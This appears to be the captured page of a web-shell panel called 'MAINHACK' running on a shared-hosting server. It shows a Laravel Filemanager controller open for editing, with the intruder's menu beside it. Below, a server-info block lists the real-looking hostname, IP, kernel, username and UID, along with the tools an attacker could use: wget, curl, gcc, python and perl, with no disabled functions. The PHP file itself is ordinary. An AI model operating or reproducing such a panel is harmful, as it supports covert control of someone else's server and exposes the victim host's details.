[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ItemsController.php
<?php namespace UniSharp\LaravelFilemanager\Controllers; use Illuminate\Support\Facades\Storage; use UniSharp\LaravelFilemanager\Events\FileIsMoving; use UniSharp\LaravelFilemanager\Events\FileWasMoving; use UniSharp\LaravelFilemanager\Events\FolderIsMoving; use UniSharp\LaravelFilemanager\Events\FolderWasMoving; class ItemsController extends LfmController { /** * Get the images to load for a selected folder. * * @return mixed */ public function getItems() { $currentPage = self::getCurrentPageFromRequest(); $perPage = $this->helper->getPaginationPerPage(); $items = array_merge($this->lfm->folders(), $this->lfm->files()); return [ 'items' => array_map(function ($item) { return $item->fill()->attributes; }, array_slice($items, ($currentPage - 1) * $perPage, $perPage)), 'paginator' => [ 'current_page' => $currentPage, 'total' => count($items), 'per_page' => $perPage, ], 'display' => $this->helper->getDisplayMode(), 'working_dir' => $this->lfm->path('working_dir'), ]; } public function move() { $items = request('items'); $folder_types = array_filter(['user', 'share'], function ($type) { return $this->helper->allowFolderType($type); }); return view('laravel-filemanager::move') ->with([ 'root_folders' => array_map(function ($type) use ($folder_types) { $path = $this->lfm->dir($this->helper->getRootFolder($type)); return (object) [ 'name' => trans('laravel-filemanager::lfm.title-' . $type), 'url' => $path->path('working_dir'), 'children' => $path->folders(), 'has_next' => ! ($type == end($folder_types)), ]; }, $folder_types), ]) ->with('items', $items); } public function doMove() { $target = $this->helper->input('goToFolder'); $items = $this->helper->input('items'); foreach ($items as $item) { $old_file = $this->lfm->pretty($item); $is_directory = $old_file->isDirectory(); $file = $this->lfm->setName($item); if (!Storage::disk($this->helper->config('disk'))->exists($file->path('storage'))) { abort(404); } $old_path = $old_file->path(); if ($old_file->hasThumb()) { $new_file = $this->lfm->setName($item)->thumb()->dir($target); if ($is_directory) { event(new FolderIsMoving($old_file->path(), $new_file->path())); } else { event(new FileIsMoving($old_file->path(), $new_file->path())); } $this->lfm->setName($item)->thumb()->move($new_file); } $new_file = $this->lfm->setName($item)->dir($target); $this->lfm->setName($item)->move($new_file); if ($is_directory) { event(new FolderWasMoving($old_path, $new_file->path())); } else { event(new FileWasMoving($old_path, $new_file->path())); } }; return parent::$success_response; } private static function getCurrentPageFromRequest() { $currentPage = (int) request()->get('page', 1); $currentPage = $currentPage < 1 ? 1 : $currentPage; return $currentPage; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285